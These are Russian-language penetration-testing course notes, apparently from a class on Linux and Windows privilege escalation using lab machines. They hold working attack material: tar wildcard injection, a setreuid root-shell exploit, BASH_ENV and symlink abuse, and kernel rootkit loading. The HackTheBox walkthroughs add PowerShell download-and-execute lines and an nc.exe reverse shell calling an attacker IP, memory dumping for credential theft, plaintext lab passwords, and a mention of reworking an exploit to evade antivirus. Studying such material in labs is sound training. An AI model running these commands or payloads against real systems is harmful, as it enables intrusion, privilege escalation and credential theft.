![](https://i.imgur.com/Ph6T5ii.png) #find Найти папки в которых может пользователь писать find / -xdev -type d -writable 2> /dev/null ![](https://i.imgur.com/X96yDpG.png) Критические уязвимости программы SUDO env ![](https://i.imgur.com/fPL5rbn.png) ! Фильтра переменных окружения по умолчанию нет - это дыра в безопасности делаем backdoor2 ![](https://i.imgur.com/lRrj7sx.png) ![](https://i.imgur.com/NybXpw9.png) ![](https://i.imgur.com/kn29Cqf.png) ![](https://i.imgur.com/15CD5kv.png) ![](https://i.imgur.com/UoYP20a.png) ![](https://i.imgur.com/iWII5qi.png) надо найти опцию которая позволит tar выполнить скрипт (* заменят на опции, а опции уже выполнят команду) ![](https://i.imgur.com/3UfgyAO.png) ![](https://i.imgur.com/wQlRjoS.png) ![](https://i.imgur.com/iEwgo7a.png) ищем опцию, которая нам чтото выдаст (фильтруем execute) https://www.gnu.org/software/tar/manual/ --checkpoint-action=action --checkpoint=1 --checkpoint-action=cron.sh ![](https://i.imgur.com/lOcsW2q.png) запускаем скрипт в /home/user #!/bin/sh cd /home/user tar czf /tmp/backup.tar.gz * (нашли возможность записать вместо звездочки и выполнить команду) . 2) RCE эксплойт --checkpoint=1 --checkpoint-action=exec=payload.sh(файл который находится в директории /home/user) https://www.gnu.org/software/tar/manual/tar.html#external ![](https://i.imgur.com/5ZyaJSD.png) ![](https://i.imgur.com/PKHaX9r.png) ![](https://i.imgur.com/PDqzGME.png) ![](https://i.imgur.com/uiMZTsc.png) echo > --checkpoint=1 touch -- --checkpoint=1 touch ./--checkpoint=1 cat /usr/local/bin/compress.sh ![](https://i.imgur.com/J3adU02.png) ![](https://i.imgur.com/EGQqK9d.png) ![](https://i.imgur.com/KEN5cvt.png) ![](https://i.imgur.com/vEGgq8F.png) Главная проблемма - смешивание аргументов и опций Если нашли wildcard(), если мы видим *(файлы которые находятся в директории) мы можем подставить опции, которые заставят програму выполнить код ![](https://i.imgur.com/HEtWVCj.png) **Действия**: touch ./--checkpoint=1 touch ./--checkpoint-action=exec=payload.sh nano /home/user/payload.sh <- code чек лист по эскалации привилегий https://book.hacktricks.xyz/linux-unix/privilege-escalation https://www.root-me.org/en/Capture-The-Flag/CTF-all-the-day/ мшь если мы запускаем шелл, то он сбрасывает права. Нам надо ЕГо обмануть. Мы можем запустить от рута любую программу, Если мы запускаем шелл то он сбрасывает права, для этого нам нужна своя программа которая изменяет права перед запуском шелла. cp /bin/sh /tmp/uname nano exploit.sh ``` #!/bin/bash SRC=$(mktemp -t XXXXXXX.c) cat << EOF > $SRC #include <unistd.h> int main() { setreuid(geteuid(),geteuid()); execve("/bin/sh",0,0); } EOF gcc $SRC -o /tmp/uname PATH=/tmp:$PATH /usr/local/bin/insecure_path #заставляем уязвимую прогу запустить нагрузку ``` bash exploit.sh ![](https://i.imgur.com/VpiIKTo.png) ## Передача небезопасных переменных При вызове функции system(arg) происходит выполнение команды $ /bin/sh –c “arg” Переменные окружения текущего процесса наследуются дочерними процессом, что может привести к выполнению произвольного кода. Например, если программа запускает bash-скрипт, вне зависимости от его содержания, можно выполнить любые команды следующим образом: $ BASH_ENV=/exploit/script.sh /usr/local/bin/wrapper ![](https://i.imgur.com/VZ2SW1k.png) ![](https://i.imgur.com/n8xeC2w.png) ![](https://i.imgur.com/V0mcFm7.png) ![](https://i.imgur.com/SrmvnT2.png) Бинарник wrapper https://css-live.ru/articles/luchshij-sposob-realizovat-obyortki-v-css.html BASH_ENV - позволяет запустить шелл скрипт при запуске ![](https://i.imgur.com/ltrjsoh.png) BASH_ENV=/tmp/script.sh /usr/local/bin/wrapper Суидная программа запускает баш от имени суперпользователя ,а bash - подвержен влиянию переменных окружения, передавая значению BASH_ENV можем заставить запускать дургие скрипты ![](https://i.imgur.com/lmejelE.png) суидная программаа запускает другую программу, мы можем подавать переменные окружение этой программе передали переменную BASH_ENV=/tmp/script.sh Баш при запуске проверяет переменную окружения на наличие данной перемены. Через переменную окружения мы можем запустить ![](https://i.imgur.com/KokvCj8.png) при запуске wrapper мы запускаем bash ![](https://i.imgur.com/V4J7yrP.png) wrapper - лежит на целевой машине в бинарнике есть уязвимость. Суидная программа запускает bash скрипт и через переменную окружения выполняет скрипт ![](https://i.imgur.com/BRHyXTp.png) ![](https://i.imgur.com/NAgwk98.png) #!/bin/bash bash BASH_ENV=/tmp/script.sh /usr/local/bin/wrapper пропишем в файле скрипта другую команду #!/bin/bash -p /tmp/backdoor ![](https://i.imgur.com/1DDtkZa.png) ![](https://i.imgur.com/rztXZ5q.png) Уязвтмость Exim(агент передачи почты) в конфигурации perl (есть поддержка языка perl) проверка - есть ли поддержка perl exim -bV -v | grep -i Perl https://legalhackers.com/advisories/Exim-Local-Root-Privilege-Escalation.html ![](https://i.imgur.com/Rj1jFbW.png) /etc/exim.conf 1. Чтобы понять работает ли компонент Perl - надо посмотреть есть ли он в конфе 2. проверяем на суидный бит ![](https://i.imgur.com/9icNCWk.png) /usr/sbin/exim-4.84-3 - версия подходит (проверили) suid exim запускает переменную **Perl** Perl - нужен для фильтрации от нежелательных писем http://www.exim.org/exim-html-current/doc/html/spec_html/ch-embedded_perl.html ![](https://i.imgur.com/hyl0TH3.png) ![](https://i.imgur.com/dKiF9w2.png) открывает отладочный режим чере -d ![](https://i.imgur.com/e7YKxzS.jpg) ![](https://i.imgur.com/DMyYgen.png) Включили отладочный режим через переменную окружения PERL5ORT Cначала читаем как это работает, собираем информацию и анализировать а стоит ли использовать эксплойт. **HackTrick - "Библия для пентестера"** https://book.hacktricks.xyz/linux-unix/privilege-escalation ![](https://i.imgur.com/2lNJdJh.png) exploit Hacker Fantastic ![](https://i.imgur.com/q3aUBjK.png) ![](https://i.imgur.com/owLFuc0.png) ctrl-d - конец ввода ![](https://i.imgur.com/tg1jfqS.png) man access - документация языка С ![](https://i.imgur.com/Q0t0z1i.png) подать аргументы и запустить man system можно использовать переменные окружения, веб уязвимость - похожая проблема 1) проверяется, является ли аргумент файлом, доступным для чтения от Yaroslav Shmelyov для Все (21:41) 2) запускается команда /bin/sh -c "/bin/cat <имя файла>" в этом коде надо найти ошибку и добится исполнения команды snprintf "надо здесь прописать наш подход" ![](https://i.imgur.com/AQ48JC3.png) надо понять что делает этот под и проэксплуатироать уязвимость ## Обращение к файлам ![](https://i.imgur.com/i3GQezG.png) ln -s /etc/shadow file.log - под видом file.log запускаем etc/shadow (благодаря ссылкам мы можем прочесть файл, который никакого отношения к директории не имеет) ln -s /etc/shadow file.log /usr/local/bin/read_logfile Похожа на критическую уязвимость nginx https://legalhackers.com/advisories/Nginx-Exploit-Deb-Root-PrivEsc-CVE-2016-1247.html ![](https://i.imgur.com/oM3h5SL.png) если обладаем правами веб сервера. Мы видим что нам принадлежит nginx и![](https://i.imgur.com/iWETziJ.png) access.log, затем перепишем symlink и перезапускаем nginx мы меняем access log на symlink , меняются права на запись веб сервера. ![](https://i.imgur.com/uEOKHkX.png) возможность: создать файл в любом месте от root и получить права владельца этого файла и записать в него любые данные. автозапуск/cron копируем код в машину. Чтобы написать этот код нам надо права веб-сервера su Qwerty123 su - www-data ![](https://i.imgur.com/PfJZSHG.png) /etc/ld.so.preload - в этом файле пишется библиотека которая будет запускаться при старте LD_PRELOAD https://habr.com/ru/post/199090/ добавляет суидный бит на бинарник Главная стратегия - есть веб сервер, тут ошибка в эксплойте #Make sure the nginx access.log contains at least 1 line for the logrotation to get triggered curl http://localhost/ >/dev/null 2>/dev/null - все ошибки скидывает в dev/null ![](https://i.imgur.com/9Q4feNS.png) ![](https://i.imgur.com/jjXv1GK.png) access.log - ничего не записалось проверяем и находим что код написан для apache ищем на каком порте nginx ![](https://i.imgur.com/ypRSMwX.png) ![](https://i.imgur.com/GPZCMfh.png) Запустили эксплойт ![](https://i.imgur.com/Hqx19zY.png) смотрим на атакуемой машине - для ускорения ![](https://i.imgur.com/SbBzeyk.png) ![](https://i.imgur.com/i1zJpxq.png) Символические ссылки, cron, библиотеки - собрали в едино против ошибок админов ps aux - показывает какие процессы есть , потом ищем уязвимости Ищем ошибки администратора / уязвимости ПО dpkg -l - смотрим версии пакетов ps aux - ищем какие программы используется дальше гуглим на уязвимости ## Материалы для ознакомления: https://github.com/diego-treitos/linux-smart-enumeration https://github.com/luke-goddard/enumy/releases https://cisofy.com/lynis/ https://crontab.guru/ https://www.exploit-db.com/exploits/39549 https://www.exploit-db.com/exploits/39535 https://legalhackers.com/advisories/Nginx-Exploit-Deb-Root-PrivEsc-CVE-2016-1247.html https://www.exploit-db.com/exploits/40616 https://www.exploit-db.com/exploits/40839 https://www.gnu.org/software/tar/manual/html_section/tar_26.html https://www.vulnhub.com/ https://www.hackthebox.eu/ https://www.root-me.org/en/Capture-The-Flag/ https://www.offensive-security.com/labs/ https://medium.com/tenable-techblog/tp-link-takeover-with-a-flash-drive-d493666f6b39 https://gtfobins.github.io/ Платформы для упражнений: https://captf.com/practice-ctf/ https://unaalmes.hispasec.com/login https://365.csaw.io/ https://defcon2018.ctfd.io/ https://ctf.hackucf.org/challenges http://ctf.infosecinstitute.com/index.php https://junior.stillhackinganyway.nl/home#challenge-information https://challenges.re https://angstromctf.com https://3206.innotecsystem.com/home https://hack.me http://www.cipher-ctf.org/CaptureTheFlag.php https://www.cybergamesuk.com/code-crackers https://atenea.ccn-cert.cni.es/home https://www.hackthebox.eu/ http://ctfs.me/ https://ctf365.com/ https://overthewire.org/wargames https://www.hacking-lab.com/ https://www.picoctf.com https://ctftime.org/ https://www.pentestit.ru/ https://shellterlabs.com/en/ https://ringzer0team.com/ https://challenges.ka0labs.org https://www.sans.org/netwars/continuous/ https://www.sans.org/netwars/cybercity https://www.vulnhub.com/ https://exploit-exercises.com https://w3challs.com/ http://smashthestack.org/wargames.html https://www.hackthissite.org/ https://www.pentesterlab.com/exercises/ https://www.root-me.org/ https://www.enigmagroup.org/ https://www.hackthis.co.uk/levels/ http://www.kioptrix.com/blog/test-page/ http://bright-shadows.net/ https://microcorruption.com/login http://www.dvwa.co.uk/ https://www.owasp.org/index.php/ https://sourceforge.net/projects/metasploitable/ https://bitcoinchallenge.codes https://backdoor.sdslabs.co http://io.netgarage.org https://ctf.hitcon.org http://hackthis.co.uk. https://ctf.secadmin.es https://uni.hctf.fun/pages/home https://ctf-classic.ihacklabs.com/ http://ctf.hackmadrid.org/home https://ctf.honeycon.eu # Ядро ОС ![](https://i.imgur.com/mlBwbjQ.png) https://docs.google.com/spreadsheets/d/1LUIblyHhuJ0fb9xYvPKoYFtxd8k4hKVHE9A1SKhVjuw/edit#gid=0 первая статья с которой все начиналось https://inst.eecs.berkeley.edu/~cs161/fa08/papers/stack_smashing.pdf цикл эксплуатации уязвимости ядра на языке С https://blog.lexfo.fr/cve-2017-11176-linux-kernel-exploitation-part1.html https://www.ozon.ru/product/linux-api-ischerpyvayushchee-rukovodstvo-147833655/ - описывает интерфейс операционной системы процесс ![](https://i.imgur.com/cBHFATQ.png) структура https://elixir.bootlin.com/linux/latest/source/include/linux/sched.h#L723 информация о процессах ![](https://i.imgur.com/GabPzSN.png) хранится информация - какие юзеры запускают процесс ![](https://i.imgur.com/jGGtRqX.png) ![](https://i.imgur.com/NKPC08l.png) Мы можем перезаписать этот файл для повышения привилегии. ![](https://i.imgur.com/9mP9nIK.png) https://github.com/xairy/kernel-exploits/blob/master/CVE-2017-18344/poc.c Необходимо настраивать эксплойт под нужную версию ядра Технически уязвимость присутсвует, но фактически будет зависеть от настройки эксплойта. Идет от рождения до исполнения ![](https://i.imgur.com/1lIsC9v.png) Квант времени Виртуальная память ![](https://i.imgur.com/XOtjlp4.png) https://ru.wikipedia.org/wiki/%D0%91%D0%BB%D0%BE%D0%BA_%D1%83%D0%BF%D1%80%D0%B0%D0%B2%D0%BB%D0%B5%D0%BD%D0%B8%D1%8F_%D0%BF%D0%B0%D0%BC%D1%8F%D1%82%D1%8C%D1%8E ![](https://i.imgur.com/mIAtvsu.png) Структура памяти процесса ![](https://i.imgur.com/ice6W6B.png) **sbrk** https://linux.die.net/man/2/sbrk https://azeria-labs.com/heap-exploitation-part-1-understanding-the-glibc-heap-implementation/ https://heap-exploitation.dhavalkapil.com/ как работает динамическая память Интерфейс ядра Линукс ![](https://i.imgur.com/offLSHj.png) Интел мануал х64 https://www.intel.com/content/dam/www/public/us/en/documents/manuals/64-ia-32-architectures-software-developer-vol-3a-part-1-manual.pdf https://www.gnu.org/software/libc/manual/html_mono/libc.html Системные вызовы https://chromium.googlesource.com/chromiumos/docs/+/master/constants/syscalls.md ![](https://i.imgur.com/L6bDIaf.png) Регистры ![](https://i.imgur.com/Adh64E7.png) ![](https://i.imgur.com/p7FMJbN.png) https://github.com/xoreaxeaxeax/movfuscator ![](https://i.imgur.com/4QNEczW.png) https://godbolt.org - переводит с языков на другие языка ![](https://i.imgur.com/fQiyNc2.png) ![](https://i.imgur.com/yE95mMb.png) ![](https://i.imgur.com/gSlY3zN.png) формирование запроса на выполнение операции ![](https://i.imgur.com/7fKF2br.png) ![](https://i.imgur.com/JH8yYRk.png) ``` SECTION .data msg db "Hello, world!",0xa len equ $ - msg SECTION .text global _start _start: mov eax, 4 mov ebx, 1 mov ecx, msg mov edx, len int 0x80 ; write(stdout, msg, len) mov eax, 1 mov ebx, 0 int 0x80 ; exit(0) ``` ld - динамический линковщик, собираем полезную нагрузку в исполняемый файл ![](https://i.imgur.com/mc8RmvL.png) ![](https://i.imgur.com/g68sahh.png) Сборка и запуск: $ nasm -f elf -o hello.o hello.asm $ ld -m elf_i386 -o hello hello.o $ ./hello отличная утилита для отладки **sctrace** https://habr.com/ru/company/badoo/blog/493856/ apt update apt install strace https://rastating.github.io/creating-a-reverse-tcp-shellcode/ книга о шеллкодах https://www.amazon.com/Shellcoders-Handbook-Discovering-Exploiting-Security/dp/047008023X Учебная Среда под ядро https://github.com/cirosantilli/linux-kernel-module-cheat ![](https://i.imgur.com/GtjDZxK.png) GNU gdp - мощный отладчик для линукс (если разрабатываем на языке С) https://sourceware.org/gdb/current/onlinedocs/gdb.pdf ![](https://i.imgur.com/Dy4ypl2.png) http://www.securitytube.net/video/5654 gdb ./hello ![](https://i.imgur.com/zn1sV0j.png) **pwndbg** показывает контекст https://github.com/pwndbg/pwndbg https://ghidra-sre.org/ - c ее помощью можно смотреть обратную разработку программ https://book.rada.re/ - можно вести отладку программ **pwntools** - https://docs.pwntools.com/en/stable/ https://tc.gts3.org/cs6265/2019/tut/tut03-02-pwntools.html отладка ядра линукс ![](https://i.imgur.com/R1qGqo4.png) ![](https://i.imgur.com/Gr62ZDN.png) Ядро линукс ![](https://i.imgur.com/cRKVAot.png) dmesg make ![](https://i.imgur.com/Ka4MENw.png) sudo insmod hello.ko - для загрузки модуля ![](https://i.imgur.com/8bKl8Cx.png) смотрим gmes последние сообщения sudo rmmod завершить работу модуля /home/user/getroot способ скрытно добавлять себе права https://0x00sec.org/t/kernel-rootkits-getting-your-hands-dirty/1485 устройство ttr0 ![](https://i.imgur.com/LydRwPo.png) если равно нулю то выполняется этот код prepare_creds -записывает данные commit_creds - применяет собираем проект через make ![](https://i.imgur.com/U0r2XJz.png) ![](https://i.imgur.com/piq1APz.png) собрали и забросили код в ядро, вошли под рутом **безопасность ядра линукс** https://github.com/a13xp0p0v/linux-kernel-defence-map ![](https://i.imgur.com/6igb7wM.png) ![](https://i.imgur.com/9DxyVG5.png) **Бинарные уязвимости** ![](https://i.imgur.com/BZWqN4I.png) ![](https://i.imgur.com/Gcg2wgR.png) ![](https://i.imgur.com/mvthAOe.png) ![](https://i.imgur.com/bNLjx03.png) ![](https://i.imgur.com/9qtcDfB.png) ![](https://i.imgur.com/ER1gUKV.png) ![](https://i.imgur.com/JDiZVR4.png) ![](https://i.imgur.com/SMnYYye.png) Уязвимости процессов экслуатации ![](https://i.imgur.com/TgkOJlR.png) https://nakedsecurity.sophos.com/2019/05/16/severe-linux-kernel-flaw-found-in-rds/ ![](https://i.imgur.com/07zRF4U.png) ![](https://i.imgur.com/XV1hufM.png) dev strings ![](https://i.imgur.com/ILD7uVv.png) ![](https://i.imgur.com/7qVz1Pt.png) ![](https://i.imgur.com/6lXuHfE.png) на 65 раз пишем произвольный ![](https://i.imgur.com/5glFLbg.png) из простравнства ядра вызываем функцию которая написана у нас на языке С ![](https://i.imgur.com/0vKYxAj.png) ![](https://i.imgur.com/stdGnKz.png) как работает греп функция для указанных адресов ![](https://i.imgur.com/yZD5NkY.png) ![](https://i.imgur.com/4480tA1.png) ![](https://i.imgur.com/8mP0OLr.png) LinKern x86 - Buffer overflow basic 1/vm ![](https://i.imgur.com/aIBQSzJ.png) Главный принцип - заставить ядро выполнить код нашей программы ![](https://i.imgur.com/I6TbODt.png) ![](https://i.imgur.com/VHBwXgo.png) ![](https://i.imgur.com/npGiaqw.png) ![](https://i.imgur.com/3d8kfOf.png) ![](https://i.imgur.com/7q6HoXA.png) https://github.com/torvalds/linux/blob/master/scripts/extract-vmlinux https://github.com/xairy/kernel-exploits/tree/master/CVE-2017-18344 ![](https://i.imgur.com/urqUF8g.png) System.map-3.16.0-4-amd64 ![](https://i.imgur.com/OKOhUHR.png) **pahole** ![](https://i.imgur.com/LkP7w55.png) ![](https://i.imgur.com/8B5PLcr.png) ![](https://i.imgur.com/s4mOiJx.png) pahole -C task_struct vmlinux-3.16.0-4-amd64 **outoftree** https://github.com/jollheef/out-of-tree ![](https://i.imgur.com/kPm2wNu.png) ![](https://i.imgur.com/gidTpyH.png) # Windows # missconfig # **Занятие 5. Перечисление и рекогносцировка** Ссылки по материалам лекции: Access Tokens https://book.hacktricks.xyz/windows/windows-local-privilege-escalation/acAccess Local Security Authority (LSA) https://book.hacktricks.xyz/windows/authentication-credentials-uac-and-efs#uac ACLs - DACLs/SACLs/ACEs https://book.hacktricks.xyz/windows/windows-local-privilege-escalation/acls-dacls-sacls-aces Windows PriEsc: https://book.hacktricks.xyz/windows/windows-local-privilege-escalation Как только какой либо пользак вошел в систему - ему дается токен. **Первичный токен.** Персонализация - концепт безопасности, позволяющему серверному приложению быть временно клиентом к охраняемому объекту. Имперсонализация Ряд атак связан именно с имперсонализацией. Мы можем временно примерять на себя токены доступа другого пользователя, если есть права на это. https://habr.com/ru/company/infowatch/blog/537560/ https://book.hacktricks.xyz/windows/windows-local-privilege-escalation/access-tokens LSA проверяет доставленные учетные данные, позволяет взаимодействовать с контроллером домена **LSASS** - отдельный компонент винды отвечающий за пользаков подключаемся к hack the box нужны retired machine ![](https://i.imgur.com/nUjqOsO.png) https://docs.microsoft.com/ru-ru/windows/security/threat-protection/security-policy-settings/security-policy-settings **ACL** АСL - Дескриптор безопасности объекта может содержать **два ACL**: DACL, который идентифицирует пользователей и группы, которым разрешен или запрещен доступ SACL, который контролирует доступ к аудиту dacl - discretionally control list sacl - system access control list - список (типы доступа регистрируются в журнале событий безопасности) **Схема записи контроля доступа** **Тип** Флаг, указывающий на тип ACE. Windows 2000 и Windows Server 2003 поддерживают шесть типов ACE: три общих типа ACE, которые прикреплены ко всем защищаемым объектам. Три объектно-зависимые типа ACE, которые могут возникнуть для объектов Active Directory. **Флаги** Набор битовых флагов, которые контролируют наследование и аудит. **Размер** Количество байт памяти, выделенных для ACE. **Маска доступа** 32-битное значение, биты которого соответствуют правам доступа к объекту. Биты могут быть включены или выключены, но значение параметра зависит от типа ACE. Например, если бит, соответствующий праву на чтение разрешений, включен, а тип ACE - Deny, ACE запрещает право читать разрешения объекта. Если установлен тот же бит, но тип ACE Allow, ACE предоставляет право на чтение разрешений объекта. Более подробная информация о маске доступа приведена в следующей таблице. **SID** Определяет пользователя или группу, доступ к которым контролируется или контролируется этим ACE. **Макет маски доступа** Бит (диапазон), Значение, Описание/Пример **0 - 15** Права доступа для конкретных объектов Чтение данных, выполнение, добавление данных **16 - 22** Стандартные права доступа Удалить, Написать ACL, Написать Владельцу **23** Может получить доступ к ACL безопасности **24 - 27** Зарезервировано **28** Общее ВСЕ (чтение, запись, выполнение) Все ниже **29** Общее выполнение Все необходимое для выполнения программы **30** Общая запись Все, что необходимо для записи в файл **31** Общее чтение Все, что нужно для чтения файла **Уровни доверия** Небезопасный: Недоверенный, процессы которые вошли в систему без приглашения. например хром ![](https://i.imgur.com/FhuwtcS.png) **Cредний** - обычный **Высокий** - администратор **Система** - ядро **Самый высокий** - инсталлер https://book.hacktricks.xyz/windows/windows-local-privilege-escalation/acls-dacls-sacls-aces https://book.hacktricks.xyz/windows/windows-local-privilege-escalation/integrity-levels ![](https://i.imgur.com/oKbqk5o.png) ![](https://i.imgur.com/GMXvtCJ.png) gem install evil-winrm **Машина на ХТБ - SAUNA** asresrposting атака на керберос evil-winrm -i 10.10.10.175 -u fsmith -p Thestrokes23 88 порт ооткрывает контроллер домена whoami /priv **PRIVILEGES INFORMATION** whoami /groups ![](https://i.imgur.com/ESl8DTG.png) ![](https://i.imgur.com/Gf3yJzJ.png) ! Get-ADDomainController - одна из команд для пентеста вручную ![](https://i.imgur.com/ikzteqF.png) ! GET-LocalGroup|ft Name ! systeminfo - показывает что за система, какие обновления безопасности, какие кб, какие дырки закрыты а какие нет. fsutil - данные дисков fsutil fsinfo drives ps ![](https://i.imgur.com/AYXOTfH.png) reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysIntallElevated - один из вектроров превышения . Запрашиваем ключ у программы netstat -ano - cлучшаем порты можно через mssql - можем повысить привилегии net share net users ![](https://i.imgur.com/sFodiXv.png) ![](https://i.imgur.com/qgD4c8d.png) Get-MpComputerStatus возвращет статус работы антивируса Get-History - история таск лист tasklist /SVC запущенные сервисы sq query ![](https://i.imgur.com/ApAQshe.png) wmic service get name - показывает сервисы которые ест и на какие сервисы ссылается reg query HKEY_LOCAL_MACHINE\SOFTWARE https://book.hacktricks.xyz/windows/checklist-windows-privilege-escalation HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Installer\Products\ Get-ChildItem 'C:\Program Files', 'C:\Program Files (x86)' | ft Parent,Name,LastWriteTime В Эти директории можно что нибудб пихнуть, если беда с правами C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys C:\Windows\System32\spool\drivers\color C:\Windows\Tasks C:\Windows\tracing C:\Windows\Temp C:\Users\Public wget https://github.com/carlospolop/PEASS-ng/releases/download/20220320/winPEASx64.exe ![](https://i.imgur.com/oEzqI0g.png) Edr часто хреново настроен, так же как фаервол, IPS ![](https://i.imgur.com/uCEQHSd.png) ! красным отмечено - что можем посмотреть - необходимо обращать внимание зеленый - инфа желтый - ссылки ![](https://i.imgur.com/E25spL7.png) ![](https://i.imgur.com/5FfRdcn.png) вытащил из реестра пароль для автологина пользователя svc ![](https://i.imgur.com/oSvcClt.png) ![](https://i.imgur.com/QS0gPt2.png) в данном случае надо найти соответствие с пользователем разные SID используются для разных векторов атак ![](https://i.imgur.com/7AQ1eGC.png) модифицируя сервис мы можем подсунуть свое - что даст профит **Угон DLL** ![](https://i.imgur.com/WyqdyJk.png) ![](https://i.imgur.com/To5sAQy.png) запись в вмваре **ИНъекция сети** ![](https://i.imgur.com/IQEbR2V.png) ![](https://i.imgur.com/rN5ucUz.png) перехватить вызов интернет эксплорера ![](https://i.imgur.com/XocZhP5.png) можем создать таску ! самые интересные из всех тачек - сервера! внутренний пентест - захват доменного админа и скриншоты подтверждение Одно из первых смотрится во внутрянке - уязвимости сервера ![Uploading file..._u200ng6g3]() # **Windows Credential** поиск и дамп кредов и хешей ![](https://i.imgur.com/GUCQFeI.png) **appcmd** https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#appcmd-exe https://lolbas-project.github.io/ перечисление бинарников с помощью которых повысим привилегии на винде **машина REMOTE** ![](https://i.imgur.com/QxeftmD.png) ![](https://i.imgur.com/7nMU0VD.png) ![](https://i.imgur.com/JVNx0IU.png) ![](https://i.imgur.com/iXgIl3Y.png) ![](https://i.imgur.com/8LygOwu.png) ![](https://i.imgur.com/4V8OJvl.png) use exploit/multi/script/web_delivery set target 2 set payload windows/x64/meterpreter/reverse_http python ./49488.py -u admin@htb.local -p baconandcheese -i http://10.10.10.180 -c берем строчку using URL и вставляем в повешельную команду python3 ./49488.py -u admin@htb.local -p baconandcheese -i http://10.10.10.180 -c powershell.exe -a "IEX ((new-object net.webclient).downloadstring('http://10.10.14.22:8080/G1Ze7MerYl'))" ![](https://i.imgur.com/vfS6K8D.png) коннект получен ![](https://i.imgur.com/jKIJUuf.png) session 1 get uid shell powershell ![](https://i.imgur.com/0IiTItE.png) можно запустить vinpeas и поизучать **ps** - посмотреть процессы ![](https://i.imgur.com/tmktwmk.png) whoami /priv ![](https://i.imgur.com/Zh5ra6J.png) teamviever - ![](https://i.imgur.com/rHt4qMU.png) bg - выводим в бэкграунд эту сессию ![](https://i.imgur.com/RQH8a8f.png) путь начинающийся с POST - постэкспуалатционный ![](https://i.imgur.com/96An2rS.png) set session 1 run ![](https://i.imgur.com/JAdefPV.png) нашли пароль от тимвивера ![](https://i.imgur.com/vxg1OaG.png) ![](https://i.imgur.com/hUWUoL5.png) если убить этот процесс то сесссия оборвется мигрируем ![](https://i.imgur.com/JRQuES7.png) session set session 1 options run getpid migrate 336 можем мигрировать в процесс того же пользователя (прав потому что нет на просмотр) ![](https://i.imgur.com/SY6L06E.png) ![](https://i.imgur.com/U46VYoJ.png) ![](https://i.imgur.com/SxRyHSZ.png) crackmapexec на порт 445 ![](https://i.imgur.com/C32599V.png) crackmapexec smb 10.10.10.180 -u administrator -p '!R3m0te!' -X "powershell.exe -c IEX ((new-object net.webclient).downloadstring('http://10.10.14.22:8080/G1Ze7MerYl'))" **Креды могут храниться в стороннем ПО (в данном случае тимвивер)** как переходить между сессиями в активной консоле уводим сессия в бэкграунд **bg** -___________ Подключаемся к машине **HEIST** evil-winrm -i 10.10.10.149 -u chase -p 'Q4)sJu\Y8qz*A3?d' ![](https://i.imgur.com/uUoeoMg.png) Классический метод поиска полезности в винде findstr /si password *.xml *.ini *.txt *.config *.json ищем слово пассворд Get-ChildItem 'C:\Program Files', 'C:\Program Files (x86)' | ft Parent,Name,LastWriteTime ![](https://i.imgur.com/c8waqzy.png) procdumps strings -прцоцессы В наступательной безопасности есть принцип Leave of the world https://docs.microsoft.com/en-us/sysinternals/downloads/procdump https://docs.microsoft.com/en-us/sysinternals/downloads/strings ![](https://i.imgur.com/ijhlc7e.png) ![](https://i.imgur.com/psWEoMg.png) upload /root/tools/ms_tools/procdump64.exe strings так же ![](https://i.imgur.com/bzwcLGC.png) ![](https://i.imgur.com/JiGfinh.png) ![](https://i.imgur.com/6ywGh8U.png) ![](https://i.imgur.com/KnxdY5Z.png) .\procdump64.exe -accepteula -ma 6252 cmd /c "strings64.exe -accepteula firefox.exe_220325_232328.dmp > firefox.exe_220325_232328.txt" преобразовываем дамп в текст findstr "password" ./firefox.exe_220325_232328.txt ищем слово password ![](https://i.imgur.com/sDDSrJ6.jpg) ![](https://i.imgur.com/Du1Ojgr.png) ![](https://i.imgur.com/xhxyIVS.png) подключаемся к машине с паролем и логином Администратора evil-winrm -i 10.10.10.149 -u administrator -p '4dD!5}x/re8]FBuZ' **net users** - посмотреть пользователей в винде ______________ Следующая машина **Querier** impacket-mssqlclient QUERIER/mssql-svc:'corporate568'@10.10.10.125 -windows-auth подключаемся к MS SQL базе sp_configure 'show advanced options','1' RECONFIGURE sp_configure 'xp_cmdshell','1' RECONFIGURE EXEC master..xp_cmdshell 'whoami' ![](https://i.imgur.com/FylWQPx.png) ![](https://i.imgur.com/xNrp3BC.png) будем работать с неткатом ![](https://i.imgur.com/OAQjMOn.png) слушаем порт rlwrap ![](https://i.imgur.com/09vXWNV.png) xp_cmdshell "powershell.exe Invoke-WebRequest "http://10.10.14.22/nc.exe" –OutFile "C:\Users\mssql-svc\Desktop\nc.exe"; "C:/Users/mssql-svc/Desktop/nc.exe 10.10.14.22 4321 -e cmd.exe" ![](https://i.imgur.com/TCG5VPw.png) ![](https://i.imgur.com/1cvc2tt.png) записали и запускаем winpeas ![](https://i.imgur.com/X11WoC1.png) dll injacking - кроличья нора на этой машине файл Groups.xml - ![](https://i.imgur.com/G6RcgEP.png) ![](https://i.imgur.com/WkEp5NF.png) mimikatz - лезет в оперативку по умолчанию нам нужен сервис lsass, мимикатз позволяет достать данные этих процессов python3 -m http.server 80 ![](https://i.imgur.com/4rISHQY.png) # CVE уязвимости **Installer / sheykit - уязвимость zero day** нет патча который ее фиксит, в реальной жизни уязвимость zero day можно применять практически на всех современных системах. Эксплойт детектируется антивирусами. В нем есть маркер, можно пересобрать https://github.com/klinix5/InstallerFileTakeOver/tree/main/InstallerFileTakeOver/Release **Уязвимость в инсталлере виндовом**. Эксплойт позволяет получить cmd консоль с правами системы ![](https://i.imgur.com/crsdIP0.png) Принцип работы эксполйта: права доступа, таблица access contol ACL. При запуске эксплойта он переписывает таблицы управлевления доступа, в его службе. Эксплойт копирует себя в службы, перезаписывает службу microsoft edge , и копирует себя в расположение службы, запускает от пользователя системы. Модификация данного эксплойта, чтобы не детектировался https://attackerkb.com/topics/7LstI2clmF/cve-2021-41379/rapid7-analysis Минус заключается в том что он открывает консоль. Необходимо запукать данный эксплойт в графическом редакторе. Можем провести атаку во внутрянке с низкопривилегированным пользователем, потом подключаемся к RDP, копируем эксплойт и применяем его для повышения привилегии. через RDP, копируем эксплойт и повышаем права Защита - только антивирус, если эксплойт не модифицирован ![](https://i.imgur.com/H386PtR.png) ------ ПОдключаемся к машине **SAUNA** fsmith:Thestrokes23 Уязвимость print - связано с сервисом печати Уязвимость в службе print spuller Получается возможность запустить DLL файл 1. Создаем вредоносный DLL файл, который вернет нам обратное подключение **msfvenom** 